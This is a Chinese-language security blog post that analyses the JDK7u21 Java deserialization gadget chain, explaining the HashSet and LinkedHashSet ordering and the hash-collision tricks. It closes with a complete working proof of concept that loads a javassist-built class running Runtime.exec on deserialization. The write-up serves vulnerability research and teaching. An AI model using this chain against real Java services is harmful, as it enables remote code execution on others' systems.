关于JDK7u21 Gadgets的两个问题的探讨

(Updated: )
JAVA安全 › 序列化

文章首发于安全客：https://www.anquanke.com/post/id/247684

最近在分析JDK7u21的Gadgets，有两个不解之处，阅读前辈们的文章发现并未提起：

  1. 为什么有的POC入口是LinkedHashSet，有的是HashSet，两个都可以触发吗？
  2. 关于map.put("f5a5a608", templates);的位置，为什么将其放在set.add(proxy);前面执行会导致反序列化执行命令失败的问题？

就这两个疑惑进行调试分析，有了这篇文章。

本次分析调试的POC放在最后一部分，需要的可以先copy。

接下来本文将会按照以下思路分析探讨：

  1. Gadgets链反序列化载体的分析，为上述两个问题的解答做铺垫；
  2. 两个疑惑的分析解答；
  3. 我们挖掘此类漏洞的思路。

一、反序列化载体分析

frohoff给出的Gadgets

image-20210713144702330

命令执行载体TemplatesImpl分析过了，这里不涉及了。根据Gadgets我们知道是通过AnnotationInvocationHandler的invoke和equalsImpl调用了TemplatesImpl.getOutputProperties，那么我们先看下这部分。

1、AnnotationInvocationHandler链

POC中创建了一个动态代理proxy，用tempHandler代理Templates接口，根据动态代理知识我们知道实际就是AnnotationInvocationHandler的invoke代理了Templates接口的两个方法newTransformer()和getOutputProperties()。

1.1、AnnotationInvocationHandler.invoke()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// invoke传入的参数：Object proxy 代理对象, Method method 代理实例上调用的接口方法的method, Object[] args 方法的实参
public Object invoke(Object var1, Method var2, Object[] var3) {
    // var4即代理的方法名
    String var4 = var2.getName();
    // var5即代理方法的参数数组
    Class[] var5 = var2.getParameterTypes();
    // 当代理方法是equals，并且参数只有一个是Object，也就是当代理的方法是proxy.equals(Object obj)
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        // equalsImpl传入的参数实际是代理方法的参数，如果这里传入TemplatesImpl实例，var3[0] = TemplatesImpl实例
        return this.equalsImpl(var3[0]);
    } else {
		......
    }
}

根据动态代理相关知识，我们知道invoke()传入的参数是代理对象，被代理的方法及其参数只有在满足一定条件时（var4.equals("equals") && var5.length == 1 && var5[0] == Object.class）会调用equalsImpl。

1.2、 AnnotationInvocationHandler.equalsImpl()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private Boolean equalsImpl(Object var1) {
    if (var1 == this) { 
        return true;
    } else if (!this.type.isInstance(var1)) {// 根据poc这里type指的就是初始化的Templates.class
        return false;
    } else { // 传入的参数不是AnnotationInvocationHandler对象也不是Templates的实例时
        // getMemberMethods会获取AnnotationInvocationHandler.this.type.getDeclaredMethods()，即type属性代表的类Templates定义的方法
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;
		// Templates一共有2个方法newTransformer()和getOutputProperties()，循环调用所有方法
        for(int var4 = 0; var4 < var3; ++var4) {
            // method对象
            Method var5 = var2[var4];
            // 获取method名称，即方法名
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
    		// asOneOfUs：如果var1是动态代理类实例，并且其InvocationHandler是AnnotationInvocationHandler实例，如果不是的话，返回null
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else { // 没有var1不是InvocationHandler实例的情况
                try {
                    // invoke调用方法：依次调用method.invoke，当var1是TemplatesImpl实例，就会调用TemplatesImpl.newTransformer或TemplatesImpl.getOutputProperties
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

根据上面代码的分析我们能得出equalsImpl传入的参数是TemplatesImpl实例，并且AnnotationInvocationHandler.type属性是TemplatesImpl.class对象，我们就能调用TemplatesImpl.newTransformer或TemplatesImpl.getOutputProperties。那么当equalsImpl传入的参数是TemplatesImpl实例时，proxy.equals(Object obj)实际就是需要传入参数就是参数类型即TemplatesImpl.class。

小结：

1
AnnotationInvocationHandler.invoke(Object proxy, Method method,Object[0] templatesImpl)---满足条件（proxy.equals(TemplatesImpl实例)）--->AnnotationInvocationHandler.equalsImpl(Templates实例)----->TemplatesImpl.newTransformer或TemplatesImpl.getOutputProperties

现在的问题是如何能满足proxy.equals(TemplatesImpl实例)这个条件。

2、proxy.equals(TemplatesImpl实例)

2.1、HashMap.put()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    // 计算key的hash
    int hash = hash(key);
    // 返回hash在数组中的索引i
    int i = indexFor(hash, table.length);
    // 链表的操作，循环链表中的所有键值对
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        // 条件1：当前键值对的hash == 要插入键值对的hash，条件2：当前键值对的key的值==要插入的键值对的key的值，条件3：当前要插入键值对的key.equals(当前键值对的key))
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

jdk1.7的HashMap的数据结构是数组+链表，插入key-value操作：

  • 数组下标是key计算后的hash值；
  • 数组的值是一个链表；
  • 要插入一个新的key-value，如果key计算后的hash在数组中已经存在，则会在这个hash所在链表中插入这个value。当然插入之前要满足一个条件：插入的键值对的key不能在链表中已存在，即key的hash可以相等，但是key不能相等。

所以HashMap在插入时会对key和已存在的hash进行比较，不允许相同的key的键值对重复进行插入。

这跟本次链有什么关系？

我们要找的是proxy.equals(TemplatesImpl实例)的调用，上面代码if (e.hash == hash && ((k = e.key) == key || key.equals(k)))当条件1满足且条件2不满足，会执行equal方法。如果要调用proxy.equals(TemplatesImpl实例)，那么需要让key=proxy，k=TemplatesImpl实例，即当前插入的键值对的key是proxy，并且需要key是TemplatesImpl实例的键值对已存在，那么我们就需要在插入的时候先插入TemplatesImpl实例再插入Proxy实例。这也说明了poc为什么要先添加TemplatesImpl实例再添加Proxy实例。

接下来的问题是怎么让条件1满足条件2不满足？

当key=proxy且k=TemplatesImpl实例时，两者一定不相等条件2满足。条件1（TemplatesImpl实例的哈希==proxy的哈希）怎么满足？

2.2、TemplatesImpl实例的哈希==Proxy实例的哈希

在HashMap中计算hash会调用hash()方法：int hash = hash(key);，我们先来看看hash()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }
    //关键处
    h ^= k.hashCode();
    // 这个函数确保在每个位位置仅相差常数倍的hashCodes冲突的数量有限(在默认加载因子下大约为8)。
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

hash调用k的hashCode方法，即会调用k所代表的对象的该方法，那么我们需要看看Proxy.hashCode()和TemplatesImpl.hashCode()。

TemplatesImpl内部没有定义hashCode()，所以调用的是Object的该方法，该方法是native方法，我们无法得知细节。

Proxy内部也没有定义hashCode()，但是有这样的说明：

1
2
3
调用{@code java.lang.Object}中声明的{@code hashCode}、{@code equals}或{@code toString}方法。将对代理实例上的Object}进行编码并将其分派给调用处理程序的{@code invoke}方法，其方式与接口方法调用的编码和分派方式相同，如上所述。{@code Method}对象传递给{@code invoke}的声明类将是{@code java.lang.Object}。代理实例的其他公共方法继承自{@code java.lang。Object}不会被代理类覆盖，所以这些方法的调用行为就像{@code java.lang.Object}实例的行为一样。
【题外话：注解@code的使用语法{@code text} 被解析成<code>text</code>，将文本标记为代码样式的文本，在code内部可以使用 < 、> 等不会被解释成html标签, code标签有自己的样式。
一般在Javadoc中只要涉及到类名或者方法名，都需要使用@code进行标记。】

如果调用proxy的hashCode方法，当代理handler是AnnotationInvocationHandler对象时，proxy.hashCode会通过AnnotationInvocationHandler.invoke处理，实际上AnnotationInvocationHandler.invoke会通过AnnotationInvocationHandler.hashCodeImpl()来具体实现。

1
2
3
if (var4.equals("hashCode")) {
    return this.hashCodeImpl();
}

AnnotationInvocationHandler.hashCodeImpl()：在P神的JDK7u21文章里，特别分析了该方法，我们来看下。

1
2
3
4
5
6
7
8
private int hashCodeImpl() { 
	int result = 0; 
    // 循环memberValues的所有键值对，将键值对通过计算获取的结果进行累加。memberValues指的是AnnotationInvocationHandler实例化时传入的Map实例，<"f5a5a608",TemplateImpl实例>
	for (Map.Entry<String, Object> e : memberValues.entrySet()) { 
		result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue()); 
	}
	return result; 
}

当 memberValues 中只有一个key和一个value时，该哈希简化成 (127 * key.hashCode()) ^ value.hashCode() 。如果key.hashCode() 等于0，任何数异或0的结果仍是他本身，那么该哈希可以简化成value.hashCode() 。 那么当value就是TemplateImpl对象时，返回的result是TemplateImpl对象的hash，那么这时候proxy.equals(TemplatesImpl实例)就是TemplateImpl对象的hash，这两个哈希就变成完全相等。

所以key.hashCode=0，找到这个key，value是TemplateImpl实例。如何找到这个key，我们可以通过计算：

1
2
3
4
5
6
for (long i = 0; i < 9999999999L; i++) {
	// 当其hashCode是0就是我们想要的结果
	if (Long.toHexString(i).hashCode() == 0) {
		System.out.println(Long.toHexString(i)); 
    } 
}

hash碰撞后的结果会有多个，将其中一个作为key就可以，所以针对AnnotationInvocationHandler实例化的Map对象进行插入操作即Map.put(“f5a5a608”,TemplateImpl实例)。

2.1和2.2小结：

这时候为了触发命令执行，我们就找到一条链：

1
HashMap.put(proxy,xx)--->Proxy.hashCode()--->AnnotationInvocationHandler.invoke()--->AnnotationInvocationHandler.hashCodeImpl()--->Map.put("f5a5a608",TemplateImpl实例)满足--->proxy.equals(TemplatesImpl实例)--->AnnotationInvocationHandler.equalsImpl()--->TemplatesImpl.getOutputProperties

接下来的问题是如何能够在反序列化时调用HashMap.put(proxy,xx)？

2.3、如何能够调用HashMap.put？

调用HashMap.put我们考虑HashSet，因为HashSet内部使用HashMap来存储数据，并且HashSet重写了readObject方法，既然重写了readObject那么就有可能要调用HashMap.put方法来恢复数据结构。我们来看下HashSet.readObject()：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // 调用默认反序列化方法
    s.defaultReadObject();
    // 读取HashMap容量和负载因子,并创建备份HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    // 判断是否是LinkedHashSet实例，如果是就实例化一个LinkedHashMap对象，否则实例化一个HashMap对象
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // 读取map个数
    int size = s.readInt();
    // 循环反序列化所有元素
    for (int i=0; i<size; i++) {
        // 按照e的原始类型反序列化，并put到hashmap
        E e = (E) s.readObject();
        map.put(e, PRESENT);// 注意！！这里会调用HashMap.put
    }
}

在HashSet.readObject()中读取每个entry后会将其put到HashMap中，因此只要我们序列化一个HashSet，反序列化时就会调用HashMap.put()。

另外需要注意一点，HashSet.add()在添加元素时，实际调用了HashMap的put方法，将传入的参数作为key，value是一个常量，所以我们在调用HashSet.add(e)，添加的元素e实际都是HashMap的key，这也跟前面的2.1的put的key对上了，add添加的就是TemplateImpl实例和Proxy实例。

1
2
3
4
public boolean add(E e) {
    // add的e就是HashMap键值对的key
	return map.put(e, PRESENT)==null;
}

那么到这里，我们就可以构造完整的执行链：

1
HashSet.readObject()--->HashMap.put(proxy,xx)--->Proxy.hashCode()--->AnnotationInvocationHandler.invoke()--->AnnotationInvocationHandler.hashCodeImpl()--->Map.put("f5a5a608",TemplateImpl实例)满足--->proxy.equals(TemplatesImpl实例)--->AnnotationInvocationHandler.equalsImpl()--->TemplatesImpl.getOutputProperties

3、为什么有的POC入口是LinkedHashSet，有的是HashSet？

我看到有些分析文章提到了需要用LinkedHashSet而不是HashSet，因为LinkedHashSet是有序的HashSet是无序的。其实两个都可以作为入口点，不论LinkedHashSet还是HashSet，主要跟反序列化时在HashSet.readObject中调用map.put插入TemplatesImpl实例和Proxy实例前后顺序有关系，因为需要HashMap.put插入时的比较操作来触发命令执行，当插入Proxy实例需要TemplatesImpl实例已经存在才能调用proxy.equals(templatesimpl)，这里不懂可以回到2.1再理解下。

LinkedHashSet可以保证我们的添加时候的顺序和反序列化时候的顺序一致，但是HashSet是无序的，不能保证这一点，那么我们如何让HashSet也满足反序列化时先读取TemplatesImpl实例再读取Proxy实例？

答案如下：

1
2
3
4
5
6
7
8
HashMap map = new HashMap();
...
...
HashSet set = new HashSet();
map.put("f5a5a608", new int[]{-16});
set.add(proxy);
set.add(templates);
map.put("f5a5a608", templates);

我们知道HashMap的数据结构是数组+链表，虽然它的插入是无序的，但是它迭代读取所有元素时还是会按照数组下标顺序来，那么我们只要让Proxy实例所在的数组索引大于Template实例所在数组索引就可以满足条件。HashMap初始长度为16，当proxy在最大下标15时就可以满足这个条件。我们知道proxy.hash可以根据AnnotationInvocationHandler.hashCodeImpl进行计算，AnnotationInvocationHandler.hashCodeImpl时根据map来计算的，map我们可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 1、计算数据索引index
static int indexFor(int h, int length) {
	return h & (length-1); // h =15，15 & 15 =15
}

// 2、计算hash
final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }
	// proxy.hashCode最终是AnnotationInvocationHandler.hashCodeImpl计算的结果
    h ^= k.hashCode();
    
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4); // 返回需要是15
}

根据上面代码我们来反推下map需要put的键值对。

  1. 下标indexFor根据hash和容量计算，那么proxy.hash需要是15；
  2. 如何让proxy.hash=15？我们让hash(proxy)的结果是15就可以让indexFor是15，那么最终hash里面h ^ (h >>> 7) ^ (h >>> 4)的值需要等于15；
  3. 那么proxy.hashCode值是多少能让其hash(proxy)是15？我们可以通过计算：
1
2
3
4
5
6
7
8
9
10
11
public static void caculate() {
    for (int i = 0; i < 100;i++){
        // 将上面计算hash代码拿下来，单独计算下
        int h =0;
        h ^= i;
        h ^= (h >>> 20) ^ (h >>> 12);
        if ( (h ^ (h >>> 7) ^ (h >>> 4) )== 15){
            System.out.println("i:" + i);
        }
    }
}

计算的结果是当i=15，能够让hash(proxy)=5，也就是proxy.hashCode需要是15。当proxy.hashCode=15，map怎么赋值？这就简单了，我们来看下AnnotationInvocationHandler.hashCodeImp，当e.getKey().hashCode()=0，hashCodeImpl返回的值是memberValueHashCode(e.getValue())的值，计算原生类型数组memberValueHashCode()是可控的，我们下面以int数组为例进行计算，当e.getValue() = a[]{-16}能够返回proxy.hashCode是15。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 1、AnnotationInvocationHandler.hashCodeImpl关键代码
// 当e.getKey().hashCode()==0，当e.getKey()==f5a5a608
result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());

// 2、 memberValueHashCode(e.getValue())：原生类型
private static int memberValueHashCode(Object var0) {
    Class var1 = var0.getClass();
    if (!var1.isArray()) {
        //非原生类型 
        return var0.hashCode();
    } else if (var1 == byte[].class) {
        return Arrays.hashCode((byte[])((byte[])var0));
    } else if (var1 == char[].class) {
        return Arrays.hashCode((char[])((char[])var0));
    } else if (var1 == double[].class) {
        return Arrays.hashCode((double[])((double[])var0));
    } else if (var1 == float[].class) {
        return Arrays.hashCode((float[])((float[])var0));
    } else if (var1 == int[].class) {
        return Arrays.hashCode((int[])((int[])var0));
    } else if (var1 == long[].class) {
        return Arrays.hashCode((long[])((long[])var0));
    } else if (var1 == short[].class) {
        return Arrays.hashCode((short[])((short[])var0));
    } else {
        return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
    }
}

// 3、 memberValueHashCode调用AnnotationInvocationHandler.hashCode(int a[])，当返回的result是15时，并且让a数组只有一个元素，element=-16
public static int hashCode(int a[]) {
    if (a == null)
        return 0;

    int result = 1;
    for (int element : a)
        result = 31 * result + element;

    return result;
}

到这里有人可能会提出一点，当proxy和templates计算出的数组下标刚好一样都是15怎么办？我们可以通过先set.add(proxy)再set.add(templates)，因为JDK1.7 HashMap的插入采用的是头插法，这样能让链表中templates在前proxy在后，也能够再读取所有元素时先读templates再读proxy。

4、关于map.put("f5a5a608", templates);的位置问题

有一点是需要说明的就是map.put("f5a5a608", templates);的位置，它必须在set.add(proxy);后被执行。在HashSet反序列化时readObject会先执行E e = (E) s.readObject();，再调用HashMap.put，我们知道ObjectInputStream处理序列化时会把目标的属性值反序列化赋给对象的属性，所以s.readObject会先序列化map，然后将其赋值给tempHandler的属性，同理tempHandler赋值给proxy属性，这时候调用HashMap.put就可以触发命令执行。

image-20210718094359578

那么放在map.put("f5a5a608", templates);在set.add(proxy);之前和之后的区别是什么？

  1. 放在之前也是会执行命令的，但是它不是在反序列化操作时执行，并且反序列化时会报错找不到我们的恶意类Evil而终止程序。因为map.put("f5a5a608", templates);在set.add(proxy);前面，当我们add时会调用HashMap.put从而进行上述2.1的比较操作最终触发命令执行。为什么放在前面反序列化不会触发命令执行并且还报错终止？经过调试发现，templates._class属性原来应该是null，但是经过map.put("f5a5a608", templates);set.add(proxy);后，该_class变成了Evil，这时候序列化再反序列化，会读取属性Evil的Class对象来赋值给templates._class，但是由于Evil实际上只有字节码，没有本地的class文件，所以读取Evil.class会报错找不到类。
  2. 放在后面，set.add(proxy);正常添加没有触发执行proxy.equals(TemplatesImpl实例)，并未触发Templates.getOutputProperties()->_class[i]=loader.defineClass(_bytecodes[i])，所以templates._class还是null，在反序列化时也是正常反序列化，只有在反序列化了proxy并将其put到hashmap时才触发了执行，这时候通过读取_bytecodes将类赋值给templates._class就不会报错。
  3. 所以变化在于templates._class的值，放在前面templates._class不是null，放在后面templates._class是null，前面会在没有反序列化时触发命令执行，templates._class通过Templates.getOutputProperties()调用到了defineClass(_bytecodes[i])就会被赋值，这时候在反序列化 首先templates._class不是null了，不满足命令执行的条件了，这也同样能解释为什么在 AnnotationInvocationHandler.equalsImpl()循环调用了Templates的两个方法getOutputProperties()和newTransformer()，但是只执行了一次命令。

二、类似漏洞的挖掘思路

  1. 具备执行命令的条件：如本次漏洞的TemplatesImpl.getOutputProperties()，TemplatesImpl内部定义了类加载器并重载了defineClass，能够实例化后我们的恶意类从而执行命令。
  2. 利用链的串联，可以通过反向寻找方法的调用，可以借鉴常用的一些反序列化载体如HashMap、HashSet、AnnotationInvocationHandler等。
  3. 反序列化重写了readObject，通过readObject能够最终触发命令执行。中间触发命令执行方法一般用到Method.invoke()来反射调用。

三、漏洞修复

在我本地有个JDK1.8.0_181的环境，在AnnotationInvocationHandler.readObject()里面添加了对AnnotationInvocationHandler.Annotation的类型进行了检查，针对不是AnnotationType做出了进行了异常抛出以中断执行。

1
2
3
4
5
try {
    var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
    throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

四、POC

参考l3yx的poc进行修改并调试：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class Poc {
    //序列化
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    //反序列化
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    //通过反射为obj的属性赋值
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    //封装了之前对恶意TemplatesImpl类的构造
    private static TemplatesImpl getEvilTemplatesImpl() throws Exception {
        ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
        CtClass cc = pool.makeClass("Evil");//创建Evil类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
        cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
        cc.addConstructor(cons);
        byte[] byteCode = cc.toBytecode();//toBytecode得到Evil类的字节码
        byte[][] targetByteCode = new byte[][]{byteCode};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCode);
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_name", "xx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }

    public static void main(String[] args) throws Exception {
        expHashSet();
//        expLinkedHashSet();
    }

    public static void expLinkedHashSet() throws Exception {
        TemplatesImpl templates = getEvilTemplatesImpl();

        HashMap map = new HashMap();

        //通过反射创建代理使用的handler，AnnotationInvocationHandler作为动态代理的handler
        Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);

        InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

        // 创建动态代理，用tempHandler代理Templates接口，AnnotationInvocationHandler的invoke代理Templates接口的两个方法newTransformer()和getOutputProperties()
        Templates proxy = (Templates) Proxy.newProxyInstance(Poc.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
        
        LinkedHashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);
        map.put("f5a5a608", templates);
        
        byte[] obj = serialize(set);
        unserialize(obj);
    }


    public static void expHashSet() throws Exception {
        TemplatesImpl templates = getEvilTemplatesImpl();

        HashMap map = new HashMap();
        map.put("f5a5a608", new int[]{-16});

        //通过反射创建代理使用的handler，AnnotationInvocationHandler作为动态代理的handler
        Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);

        InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

        // 创建动态代理，用tempHandler代理Templates接口，AnnotationInvocationHandler的invoke代理Templates接口的两个方法newTransformer()和getOutputProperties()
        Templates proxy = (Templates) Proxy.newProxyInstance(Poc.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

        HashSet set = new HashSet();
        set.add(proxy);
        set.add(templates);
        map.put("f5a5a608", templates);

        byte[] obj = serialize(set);
        unserialize(obj);
    }
}

参考：

https://gist.github.com/frohoff/24af7913611f8406eaf3
https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets/
phith0n：Java安全漫谈 - 18.原生反序列化利用链JDK7u21
https://xz.aliyun.com/t/9704
https://www.cnblogs.com/wlrhnh/p/7256969.html
http://blog.csdn.net/justloveyou_/article/details/62893086
https://blog.csdn.net/justloveyou_/article/details/71713781